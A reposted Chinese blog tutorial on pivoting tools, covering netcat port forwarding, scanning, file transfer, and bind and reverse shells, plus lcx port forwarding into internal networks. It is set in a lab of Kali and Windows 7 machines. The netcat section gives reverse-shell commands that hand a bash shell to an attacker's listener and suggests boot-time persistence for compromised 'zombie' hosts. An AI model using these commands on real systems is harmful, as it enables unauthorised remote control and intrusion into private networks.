代理工具

news/2024/11/17 11:18:06/文章来源:https://www.cnblogs.com/yjiejie/p/18413702

nc

简介

Netcat是一个简单的Unix工具,用于在TCP或UDP协议上读取和写入数据。由于其简单、灵活的特性,它经常被用于网络调试或在各种网络脚本中。

TCP协议

概述

TCP(传输控制协议)是一种面向连接的协议,用于在网络上可靠地传输数据。它提供了一种可靠的、有序的、基于字节流的数据传输服务,确保数据的完整性、顺序性和可靠性。TCP通常与IP(互联网协议)一起使用,构成TCP/IP协议族中的一部分。TCP协议常用于Web、电子邮件、文件传输和其他应用程序的数据传输。

特点

  • 面向连接:在数据传输前,必须先建立连接,传输完成后再断开连接。这种方式可以保证数据传输的可靠性。
  • 可靠性:TCP协议提供可靠的数据传输服务,能够在数据传输过程中检测和纠正错误,确保数据的完整性、顺序性和可靠性。
  • 流控制:TCP协议能够进行流量控制,根据接收方的处理能力来控制发送方的发送速度,避免过多数据拥塞导致网络阻塞。
  • 拥塞控制:TCP协议能够进行拥塞控制,根据网络的拥塞程度来动态调整发送方的发送速度,避免网络拥塞和数据丢失。
  • 面向字节流:TCP协议以字节流的方式传输数据,没有消息边界,需要应用层进行数据的分包和组包。
  • 全双工通信:TCP协议支持全双工通信,即客户端和服务器可以同时发送和接收数据,实现双向通信。
  • 可靠的错误检测和重传机制:TCP协议能够对数据进行校验和检测,发现数据错误后进行重传,保证数据传输的可靠性。

TCP报文的基本结构

 源端口号(16位):标识发送端口号。目的端口号(16位):标识接收端口号。序列号(32位):标识在该报文段中第一个数据字节的序号。确认号(32位):标识期望接收的下一个字节的序号。数据偏移(4位):标识TCP头部长度,以4字节为单位。保留(6位):保留未使用,置为0。控制标志(6位):标识TCP报文的控制信息,如ACK、SYN、FIN等。窗口大小(16位):标识接收方的窗口大小,用于流控制。校验和(16位):用于检验TCP报文的正确性。紧急指针(16位):标识紧急数据的末尾位置。选项(可选):用于TCP的高级功能,如窗口扩大、时间戳等。

常见端口

TCP(传输控制协议)使用端口号来区分不同的应用程序和服务。端口号是一个16位的整数,范围从0到65535。其中,0到1023号端口被称为“知名端口”(Well-Known Ports),通常由重要的网络服务和协议使用。以下是一些常见的TCP端口号及其对应的服务:

端口号 20:FTP(文件传输协议)数据传输
端口号 21:FTP(文件传输协议)控制连接
端口号 22:SSH(安全外壳协议),用于安全的远程登录和文件传输
端口号 23:Telnet,用于非安全的远程登录
端口号 25:SMTP(简单邮件传输协议),用于发送电子邮件
端口号 53:DNS(域名系统)服务,用于解析域名和IP地址
端口号 80:HTTP(超文本传输协议),用于访问网页
端口号 110:POP3(邮局协议3),用于接收电子邮件
端口号 119:NNTP(网络新闻传输协议),用于访问新闻组
端口号 143:IMAP(互联网邮件访问协议),用于接收和管理电子邮件
端口号 161:SNMP(简单网络管理协议),用于网络设备管理
端口号 443:HTTPS(安全超文本传输协议),用于加密的网页访问
端口号 465:SMTPS(安全简单邮件传输协议),用于加密的电子邮件发送
端口号 587:SMTP(简单邮件传输协议)的备用端口,用于发送电子邮件
端口号 993:IMAPS(安全互联网邮件访问协议),用于加密的电子邮件接收和管理
端口号 995:POP3S(安全邮局协议3),用于加密的电子邮件接收

UDP协议

概述

UDP(用户数据报协议)是一种无连接的、不可靠的、基于数据报的传输层通信协议。

特点

  • 无连接:UDP在传输数据时不需要建立连接,直接将数据包发送出去。因此,UDP的传输效率比TCP更高。

  • 不可靠:UDP不提供可靠性保证,因此在传输过程中可能会出现数据包丢失、重复、乱序等问题。但是,由于UDP的无连接特点,应用层可以自行处理这些问题。

  • 高效:UDP的数据包结构相对简单,包括源端口、目的端口、长度、校验和和数据等字段。因此,UDP的传输速度比TCP更快。

  • 延迟低:UDP不需要等待确认,因此可以实现较低的传输延迟,适合实时应用场景,如视频、音频、游戏等。

  • 轻量级:由于UDP的功能较少,因此协议本身比TCP更加轻量级。

UDP报文的基本结构

 源端口号(Source Port) 占用2个字节,用于标识数据包的发送者端口号。目的端口号(Destination Port) 占用2个字节,用于标识数据包的接收者端口号。长度(Length) 占用2个字节,指示整个UDP数据报的长度,包括UDP报头和数据部分。校验和(Checksum) 占用2个字节,用于检验UDP数据报的完整性,防止数据在传输过程中被篡改或损坏。数据(Data) 占用0~65535字节,是实际要传输的数据部分。

常见端口

 53:DNS(域名系统)服务端口号,用于将域名解析为IP地址。67/68:DHCP(动态主机配置协议)服务端口号,用于自动分配IP地址。69:TFTP(简单文件传输协议)服务端口号,用于在网络上传输文件。123:NTP(网络时间协议)服务端口号,用于同步网络时间。161/162:SNMP(简单网络管理协议)服务端口号,用于网络设备的管理和监控。514:Syslog服务端口号,用于日志记录和监控。5060/5061:SIP(会话初始化协议)服务端口号,用于VoIP(语音传输)通信。3478/3479:STUN(简单遍历UDP协议)服务端口号,用于NAT穿透和实现网络对等通信。

功能

参数

## NC常用的参数:-l 侦听模式,用于入站连接,大部分配合-p参数使用
-p 指定本地的端口号
-n 后面跟IP地址,直接解析IP不解析域名,速度更快
-v 输出连接的详细信息,输入vv可以看到更详细的信息
-z 端口扫描,默认使用tcp模式
-u 指定udp模式扫描探测,一般配合-z参数使用
-c shell命令,通常为 -c bash返回一个bash shell
-q 在标准输入完之后退出,延迟多少秒 例如 -q 1表示被连接完成后1秒钟关闭连接

虚拟机三台192.168.245.110 kali1、192.168.8.130 kali2、192.168.8.129 win7

端口转发

场景:kali1 能访问 kali2,但是不能访问 win7。kali2 能访问 win7 任意端口。

​ kali1 想访问 win7 的 22 端口。

思路:kali2 做跳板机,把访问 kali2 8888 端口的数据转发到 win7 的 22 端口上。

kali1 攻击机  192.168.245.110
kali2 跳板机  192.168.8.130
win7  目标机  192.168.8.129

方法:在 kali2 上执行 nc 转发命令。

nc -l -p 8888 -c "nc 192.168.8.129 22"

在 kali1 上用 ssh 连接 kali2 的 8888 端口,或者直接在 kali2 上 ssh 连接本地的 8888 端口,即可登录 win7 的 22 端口

端口探测

主要命令-z

nc -v ip地址 端口(常规探测,输出nc探测信息和目的ip的指定端口)

nc -lvp 445(先在靶机上打开端口监听模式,不然攻击机上无法扫描到)

nc -nvz 192.168.8.129 445(扫描192.168.8.129主机的445端口开放情况,-n指定后面跟IP地址而不是域名)
d8bb4007c8238f2f296991d413c3bb1b.png
nc -nvz 192.168.8.129 1-1000 (扫描192.168.8.129主机的1-1000端口开放情况,需要关闭win7防火墙)
bd322b689d5d024769a6c1fe81e09d8c.png
nc -nvvzu 192.168.8.129 1-500(扫描1到500间的UDP端口,并在终端返回详细的探测信息)
总结:netcat里面的端口扫描功能比较低配,不及nmap强大。

传输文本信息

主要命令-lp,需要两台机子都有nc工具

先有一台服务端开放一个随机的侦听端口 nc -lp 8888,另一台客户端再连接服务端的端口 nc -nv 目的地址 8888
kali1【192.168.8.110】:nc -lvp 8888(侦听并开放本地的8888端口,等待连接...)
1d8a7f355dcfe5a71ad5f1c65d0153af.png
kali2【192.168.8.130】:nc -nv 192.168.8.110 8888(使用nc直接连接kali1的8888端口,两者交互开始,可以传输文本数据了)
bafc90a4e4a5f53b9f316969cf6463f7.png
可以看到,刚开始侦听端口的一端能显示该端口已经被192.168.8.130连接上了,下面可以发数据了,例如hello,hi,chifan? chi这样聊天
9bca13ff69060120db19f4b37869767e.png
总结:此功能类似23端口的talnet一样,明文传输文本信息,发短信一样的功能。

传输文件/目录

传输文件:
A端kali1:nc -lp 8888 > nc.jpeg(A作为接收端打开端口,将本地侦听的8888端口的信息输出到文件名nc.jpeg里面,有人连接,传输完成后,一秒钟就断开)
B端kali2:nc -nv 192.168.8.110 8888 < nc.jpeg -q 1 (B端作为发送端,把nc.jpeg文件输入到192.168.8.110的8888端口里面)
传输目录:
A端kali1:tar -cvf - /root/Desktop/picture | nc -lp 8888 -q 1
B端kali2:nc 192.168.8.110 8888 | tar -xvf -(-不能少)
总结:传输目录与传输文件功能很像,其实就是多了个解压缩的命令

远程电子取证信息收集

例子1(收集B端的系统信息,但是不在B端留下命令的痕迹,把系统命令全部通过管道传输到A端):
A端kali1:nc -lp 8888
B端kali2:ls -l | nc -nv 192.168.8.110 8888(B端里面执行的ls系统命令在A端里面显示,B端无痕)
ba0757bfe9f76f9a38c548a2aad05464.png

例子2:
A端kali1:nc -lp 8888 > ps.txt (开启本地的8888端口,一旦有人侦听连接把传输的内容保存到ps.txt里面)
B端kali2:ps aux | nc -nv 192.168.8.110 8888 -q 1(连接192.168.8.110的8888端口,并且输入本机的ps aux命令通过管道传输到侦听端口,-q 1表示把命令参数一秒后自动关闭连接)
0191acca2fb9d5e2c41b1fe6724d8a72.png

远程控制

两者服务器都需要有nc工具,nc重要的功能之一

正向shell(被攻击的服务器端开启8888端口的bash shell,一旦有人连接了8888端口就会给他返回一个shell,客户端回车能直接执行服务器端的系统命令,例如ls、ifconfig等,正向比较容易理解)
kali1(被攻击的服务器):nc -lp 8888 -c bash(被攻击的服务器主动开启8888端口,谁先连上shell就给谁)
kali2(攻击者服务器):nc -nv 192.168.8.110 8888(主动连接目的服务器的8888端口来获取shell,然后获得root权限执行系统命令)
a6b27aac3a01dc99bf565a79edb3cc2c.png

反向shell(被攻击的服务器主动外连攻击者服务器的8888端口并且给他一个bash shell,反向shell的目的是防止被攻击者的IDC服务器里面的防火墙拦截,一般目的服务器只开80和443端口,让服务器开放本地端口出网难度大,但是可以让被攻击的服务器直接连攻击者的服务器端口,写一个shell脚本放在配置文件里面设置开机自启动,肉鸡即可上线)
kali1(攻击者服务器):nc -lp 8888(攻击者的服务器开启并监听本地的8888端口,等待肉鸡上线即可执行系统命令)
kali2(被攻击的服务器):nc -nv 目的地址 8888 -c bash(主动对攻击者的服务器进行外联并给他一个bash shell)
f1f519dc3898d489a2f7adef4e446758.png

lcx

参数

Usage:lcx-<listen|tran|slave> <option> [-log logfile]-tran <等待连接的端口> <目标ip> <目标端口>  (端口映射)-listen <监听slave请求的端口(对应slave 的第二个参数)> <等待连接的端口>  (端口转发)-slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口>  (端口转发)

用法

Windows下lcx使用方法

  1. 在外网服务器上运行:

    lcx -listen 40050 10000
    # 监听本地40050端口,同时将数据转发到10000端口
    
  2. 内网需要转发的机器上运行:

    lcx -slave 1.1.1.1 40050 10.10.0.3 3389
    # 将本地的3389端口转发到外网1.1.1.1的40050端口上
    
  3. 此时我们通过连接外网服务器的10000端口就可以连接到那台内网主机的3389端口

基本用法

现在有这么一个环境,内网中有一台Web服务器,但是我们处于公网,所以无法访问该服务器。于是,我们可以在中间Web服务器上利用LCX进行端口转发,将内网Web主机的80端口转发到公网Web服务器的8080端口上,那么我们访问公网Web服务器的8080端口就相当于访问内网Web服务器的80端口。

img

公网web服务器的配置

lcx.exe -tran 8080 192.168.10.19 80  #将本地的8080端口转发到192.168.10.19的80端口
LCX实现本地端口转发(Windows)

我们现在拿到了一台主机的账号、密码和权限,现在想远程RDP连接该主机,该主机的3389端口只对内开放,不对外开放。所以,我们可以利用lcx进行本地端口的转发。将3389的流量转到33389端口上。

img

目标机的操作,将3389端口的流量转发给33389端口。

lcx.exe -tran 33389 127.0.0.1 3389

这个时候,只需要远程连接目标主机的33389端口即可。

LCX实现SSH到内网主机(Windows)

img

黑客主机获得公网服务器的权限,通过公网服务器进一步内网渗透,得到主机的权限。
可以利用lcx进行22端口的转发,在公网服务器上操作
lcx.exe -tran 2222 192.168.10.129 22  
#意思就是将本地2222端口转发给192.168.10.129主机的22号端口只要连接到公网服务器的2222端口,即可转发到内网服务器的22端口

ProxyChains

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/796951.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Powershell 重新排列去重 Windows环境变量

最近乱搞环境变量,然后有些重复了,遂写个脚本去重下排序下。 环境变量有长度限制,如果超出了,比如SqlServer相关的,将共同路径单独搞个变量声明下,比如将其路径手动替换成如下,可大幅压缩变量长度但是,Powershell脚本在获取环境变量时又会将这些恢复成原路径,建议点击…

Powershell 重新排列 Windows环境变量

最近乱搞环境变量,然后有些重复了,遂写个脚本去重下排序下。 环境变量有长度限制,如果超出了,比如SqlServer相关的,将共同路径单独搞个变量声明下,比如将其路径手动替换成如下,可大幅压缩变量长度但是,Powershell脚本在获取环境变量时又会将这些恢复成原路径,建议点击…

英文网站文档-翻译

英文网站文档-翻译 背景: 遇到一些英文文档,需要本地制作成文档查看,且需要改成中文 ‍ 步骤找到应用软件 批量下载文档 执行翻译‍ 涉及到的工具: 1. 整站下载软件:sitSucker(mac 版本) ​​ ‍ 附:一批整站下载工具(下载神器) ‍ ‍ 2. 批量翻译脚本工具 ​​ ‍ 按…

音频转换芯片DP7344兼容CS4344双通道24位DA转换器

产品简介DP7344 是一款完整的 2 通道输出数模转换芯片,内含插值滤波器、Multi-Bit 数模转换器、输出模拟滤波器,并支持大部分的音频数据格式。DP7344 基于一个带线性模拟低通滤波器的四阶 Multi-BitΔ∑调制器,自动检测信号频率和主时钟频率,在 2KHz 和 200KHz 之间自动调节…

45岁大龄程序员自述:我居然还苟在程序人生里,但是已经难以为继

世界那么大,我想去看看...记不清好久没来写随笔发水文吐槽了,这篇文章本来是想在园子里首发的,结果鬼使神差发在了头条里面。这起因就是好 (45岁大龄程序员自述:我居然还苟在程序人生里,但是已经难以为继)原文不会打歌么学打歌阿哥怎摆你怎摆,大江大海江大海 ... 瞧,这个…

【YashanDB知识库】数据库获取时间和服务器时间不一致

本文转自YashanDB官网,具体内容可见[https://www.yashandb.com/newsinfo/7352662.html?templateId=1718516] 【问题分类】功能使用 【关键字】服务器时间、数据库时间 【问题描述】数据库获取的时间和服务器时间不一致。【问题原因分析】YashanDB并没有时区的概念,数据库的时…

Ubuntu 22.04 AX211 驱动 解决

官网的驱动居然只支持Linux6.10以上,但实际上并不这样? 可以去网站 https://launchpad.net/ubuntu/+source/backport-iwlwifi-dkms可以看到有一个20.04.5,点开下载update版本就好了 下载后,在对应文件夹里打开终端,输入sudo dpkg -i backport,按tab补全 它会先删除当前的网…

PbootCMS留言自定义表单怎么调用

在 PBootCMS 中,你可以通过自定义表单和标签来实现留言功能。以下是详细的步骤和示例代码,帮助你在全站任意地方使用留言表单和留言记录列表。 1. 留言提交表单 示例代码<form action="{pboot:msgaction}" method="post">联系人:<input type=&…

【YashanDB知识库】archivelog磁盘满导致数据库abnormal

本文转自YashanDB官网,具体内容可见[https://www.yashandb.com/newsinfo/7352661.html?templateId=1718516] 【问题分类】功能使用 【关键字】磁盘空间满,archivelog日志,archivelog自动清理 【问题描述】数据库状态变更为abnormal,检查V$DIAG_INCIDENT视图,发现提示信息…

喜讯!延迟退休来了

延迟退休终于落地了 😐​ 延迟退休终于落地了 😐 ‍ 官方公告 昨天,官方正式发布了公告: ​ ‍ 具体细则可以看:决定公布!延迟退休年龄对照表详情 → 具体规则请看官方通知,写的很详细,还有很多退休年龄对照表。 简单来说就是,女性 55 岁/58 岁退休,男性 63 岁退休…

QT6跨平台开发

QT6跨平台开发 使用AI技术辅助生成 QT界面美化视频课程 QT性能优化视频课程 QT原理与源码分析视频课程 QT QML C++扩展开发视频课程 免费QT视频课程 您可以看免费1000+个QT技术视频 免费QT视频课程 QT统计图和QT数据可视化视频免费看 免费QT视频课程 QT性能优化视频免费看 免费…

PbootCMS上传缩略图截取尺寸缩小变模糊解决方案

如果你在使用PBootCMS时遇到上传图片后缩略图被自动截取且尺寸变小的问题,可以通过调整配置文件中的缩略图尺寸来解决。具体步骤如下: 步骤找到配置文件:打开 \config\config.php 文件。修改缩略图配置:找到缩略图配置部分,并调整 max_width 和 max_height 的值。具体操作…